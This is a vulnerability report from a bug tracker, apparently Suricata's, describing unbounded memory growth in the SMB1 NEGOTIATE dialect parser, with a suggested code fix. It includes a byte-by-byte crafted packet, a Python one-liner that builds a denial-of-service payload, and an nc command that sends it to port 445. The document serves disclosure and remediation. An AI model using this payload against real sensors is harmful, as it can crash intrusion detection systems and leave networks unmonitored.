Actions
Bug #8852
open
SB
VJ
smb1: unbounded vector growth in NEGOTIATE dialect list
Bug #8852:
smb1: unbounded vector growth in NEGOTIATE dialect list
Affected Versions:
Effort:
Difficulty:
Label:
Description
Reported by Communications Security Establishment (CSE):
## Summary
The SMB1 `NEGOTIATE_PROTOCOL` request parser builds a `Vec<&[u8]>` of dialect strings
using an unbounded `many1` combinator over the entire remainder of the SMB record.
Because each iteration can consume as little as a single `0x00` byte while pushing a
16-byte fat-pointer slice into the result vector, an attacker who sends one ~16 MiB SMB1
NEGOTIATE request filled with NUL bytes forces a transient ~256 MiB heap allocation
(≈384 MiB peak during the final `Vec` doubling) from 16 MiB of wire data — a 16–24×
amplification per flow. No configuration guard limits the element count: the only
upstream caps are the 24-bit NBSS length and the optional `stream-depth` setting, which
defaults to unlimited. Multiple concurrent flows multiply the effect linearly and can
drive the sensor to OOM-abort.
## Affected Piece of Code
- **File:** `rust/src/smb/smb1_records.rs`
- **Function / Location:** `parse_smb1_negotiate_protocol_record()` ~L209-218
- **Subsystem:** rust-smb — SMB1/SMB2/SMB3 parser, DCERPC-over-SMB, file extraction
```rust
rust/src/smb/smb1_records.rs:204-218
204 #[derive(Debug, PartialEq, Eq)]
205 pub struct Smb1NegotiateProtocolRecord<'a> {
206 pub dialects: Vec<&'a [u8]>,
207 }
208
209 pub fn parse_smb1_negotiate_protocol_record(
210 i: &[u8],
211 ) -> IResult<&[u8], Smb1NegotiateProtocolRecord<'_>> {
212 let (i, _wtc) = le_u8.parse(i)?;
213 let (i, _bcc) = le_u16.parse(i)?;
214 // dialects is a list of [1 byte buffer format][string][0 terminator]
215 let (i, dialects) = many1(complete(take_until_and_consume(b"\0"))).parse(i)?;
216 let record = Smb1NegotiateProtocolRecord { dialects };
217 Ok((i, record))
218 }
```
## The Bug
`parse_smb1_negotiate_protocol_record()` reads the one-byte `wct` and two-byte `bcc`
(ByteCount) fields but discards both, then hands the **entire remaining slice** to
`many1(complete(take_until_and_consume(b"\0")))`. The helper `take_until_and_consume`
(`rust/src/common.rs:73-81`) returns everything up to the next `0x00` and consumes that
terminator; when the very first byte is `0x00` it returns an empty `&[u8]` and advances
exactly one byte. `many1` therefore happily loops once per NUL byte, and on each
iteration pushes a `&[u8]` fat pointer (16 bytes on x86_64: 8-byte data pointer + 8-byte
length) into the result `Vec`. Nothing in the combinator chain bounds the number of
iterations.
The input slice handed to this function is `r.data`, the post-header remainder of the
SMB record, whose size is bounded only by the 24-bit NBSS length field (max 0x00FFFFFF =
16,777,215 bytes). After subtracting the 32-byte SMB1 header and the 3 bytes of
`wct`/`bcc`, an attacker controls up to 16,777,180 bytes of dialect payload. Filling
that region with `0x00` yields 16,777,180 loop iterations and a `Vec<&[u8]>` whose
backing store grows (by power-of-two doubling) to 16,777,216 entries × 16 B = **256
MiB**. During the final doubling realloc both the old 128 MiB and new 256 MiB buffers
coexist, giving a peak of ≈384 MiB — all triggered by ~16 MiB on the wire.
The downstream consumer in `rust/src/smb/smb1.rs:474-510` iterates this `Vec` and copies
each non-empty entry into a second `Vec<Vec<u8>>`; because every entry is empty, that
second vector stays empty and an `SMBEvent::NegotiateMalformedDialects` event is raised.
The persistent transaction state therefore does not grow — the problem is purely the
**transient 256 MiB allocation inside the parser**, which lives until `pr` goes out of
scope after the match arm returns. There is also a non-trivial CPU cost: ~16.7 million
nom combinator iterations per request.
**Network-to-sink call chain.** A network attacker sends a single TCP stream to port 445
(or any port the protocol-detection engine identifies as SMB). The app-layer engine
dispatches it as follows:
1. `SCRegisterSmbParser()` registers `parse_ts = smb_parse_request_tcp`
(`rust/src/smb/smb.rs:2857`).
2. `smb_parse_request_tcp()` (`smb.rs:2470-2491`) → `SMBState::parse_tcp_data_ts()`
(`smb.rs:1551`).
3. `parse_nbss_record()` (`rust/src/smb/nbss_records.rs:66-77`) reads the 4-byte NBSS
header with `message_type=0x00` and a 24-bit length up to `0x00FFFFFF`. Until that
many payload bytes are available it returns `Incomplete`; `parse_tcp_data_ts()` falls
into the `Incomplete` arm (`smb.rs:1772-1792`), calls `parse_tcp_data_ts_partial()` —
which only special-cases `SMB1 WRITE_ANDX` and returns `0` for NEGOTIATE
(`smb.rs:1414-1446`) — and returns `AppLayerResult::incomplete()`. The C app-layer
then buffers the full ~16 MiB record. This succeeds because
`SMB_CONFIG_DEFAULT_STREAM_DEPTH = 0` (`smb.rs:85`) is passed to
`SCAppLayerParserSetStreamDepth` (`smb.rs:2928`), i.e.
`app-layer.protocols.smb.stream-depth` is unlimited by default.
4. Once the full record is buffered, `parse_nbss_record()` succeeds.
`parse_smb_version()` sees `0xFF` (`smb.rs:1626`), so `parse_smb_record()`
(`smb1_records.rs:981-1012`) consumes the 32-byte SMB1 header and stores the
remaining ~16 MiB in `r.data` via `rest()`.
5. `flags` bit `0x80` is clear, so `smb_record.is_request()` is true and
`smb1_request_record()` (`smb1.rs:642-668`) is invoked → `smb1_request_record_one()`
with `command = 0x72` hits the `SMB1_COMMAND_NEGOTIATE_PROTOCOL` arm (`smb1.rs:474`)
→ `parse_smb1_negotiate_protocol_record(r.data)` (`smb1_records.rs:209-218`).
6. The unbounded `many1` loop runs ~16.7 million times and allocates ~256 MiB.
The only guards in this entire chain are the 24-bit NBSS length cap and the optional
`stream-depth` config; neither limits the **element count** of the dialect vector.
Vulnerability class: **network-reachable unbounded allocation (DoS)**.
## Reproduction Results
No special Suricata configuration or rule is required; the default `suricata.yaml` with
the SMB parser enabled (default) reproduces the issue because
`app-layer.protocols.smb.stream-depth` defaults to `0` (unlimited).
**Crafted TCP payload to port 445 (client→server direction), total 4 + 16,777,215 =
16,777,219 bytes:**
1. NBSS header (4 bytes):
```
00 FF FF FF ; type=0x00 SESSION_MESSAGE, length=0x00FFFFFF (16,777,215)
```
2. SMB1 header (32 bytes):
```
FF 53 4D 42 ; \xFF 'S' 'M' 'B'
72 ; command = 0x72 SMB_COM_NEGOTIATE
00 00 00 00 ; nt_status
00 ; flags (bit 0x80 clear ⇒ request)
00 00 ; flags2
00 00 ; pid_high
00 00 00 00 00 00 00 00 ; signature
00 00 ; reserved
00 00 ; tree_id
00 00 ; process_id
00 00 ; user_id
00 00 ; multiplex_id
```
3. NEGOTIATE body — `wct`/`bcc` then all-zero filler (16,777,215 − 32 = 16,777,183
bytes):
```
00 ; wct = 0 (ignored)
00 00 ; bcc = 0 (ignored)
00 × 16,777,180 ; 16,777,180 NUL bytes ⇒ 16,777,180 empty "dialects"
```
4. Send this as a normal TCP stream. It may be split across many segments; the SMB
app-layer will keep returning `AppLayerResult::incomplete` until all 16,777,219 bytes
are buffered, then parse the record in a single call.
**Expected behaviour inside Suricata:** `parse_smb1_negotiate_protocol_record()` loops
16,777,180 times, building a `Vec<&[u8]>` whose backing allocation reaches 256 MiB
(capacity rounds to 16,777,216 entries × 16 B). The downstream loop at `smb1.rs:480-490`
then iterates 16.7 M times, but every slice is empty so the second `Vec<Vec<u8>>` stays
empty; an `SMBEvent::NegotiateMalformedDialects` event is raised. The 256 MiB is freed
when `pr` goes out of scope after the match arm returns. Opening *N* concurrent TCP
flows multiplies the transient heap by *N*.
**Python one-liner to generate the payload file for tcpreplay/netcat:**
```
python3 -c 'import sys,struct; sys.stdout.buffer.write(b"\x00\xff\xff\xff" + b"\xffSMB" + b"\x72" + b"\x00"*4 + b"\x00" + b"\x00"*2 + b"\x00"*2 + b"\x00"*8 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*16777183)' > smb1_neg_dos.bin
# then: nc <sensor-monitored-host> 445 < smb1_neg_dos.bin (or wrap in a pcap and replay)
```
This trigger is **analytically derived** from source review of the call chain above; it
has not been executed against a live sensor in this audit, but every step of the path
was verified in source and there is no conditional that would reject the payload before
the vulnerable combinator runs.
## Severity
**MEDIUM** — Resource-exhaustion / DoS. A single 16 MiB request causes a transient ~256
MiB heap allocation (≈384 MiB peak during the `Vec` growth realloc) inside the worker
thread, plus ~16.7 million nom combinator iterations of CPU work; the allocation is
freed after the handler returns. Multiple concurrent flows (one per worker thread, or
rapid repetition on a single thread) can drive the process to OOM and abort, taking the
IDS/IPS offline. There is no information leak or RCE; Rust's global allocator aborts on
allocation failure rather than corrupting memory. Because the downstream `Vec<Vec<u8>>`
stays empty, there is no persistent state growth — the impact is bounded to transient
heap and CPU pressure during parsing.
## Suggested Fix
Bound the dialect list both by the on-wire ByteCount field and by a hard element cap.
Real SMB1 clients send fewer than ~20 dialects, so a cap of 256 is generous. Replace the
parser body with:
```rust
pub fn parse_smb1_negotiate_protocol_record(
i: &[u8],
) -> IResult<&[u8], Smb1NegotiateProtocolRecord<'_>> {
let (i, _wct) = le_u8.parse(i)?;
let (i, bcc) = le_u16.parse(i)?;
// honour ByteCount instead of consuming the whole record remainder
let (i, payload) = take(bcc as usize).parse(i)?;
// hard cap on number of dialect entries to prevent Vec blow-up
let (_, dialects) = many_m_n(1, 256,
complete(take_until_and_consume(b"\0"))).parse(payload)?;
Ok((i, Smb1NegotiateProtocolRecord { dialects }))
}
```
This limits the parsed body to 64 KiB (`bcc` is `u16`) and the `Vec` to ≤256 entries (≤4
KiB of fat pointers), eliminating the amplification entirely. Optionally also set an
`SMBEvent::NegotiateMalformedDialects` event when `bcc` exceeds a sane threshold (e.g. 4
KiB) so that the oversize attempt remains visible to detection rules even though the
parser no longer over-allocates.
Actions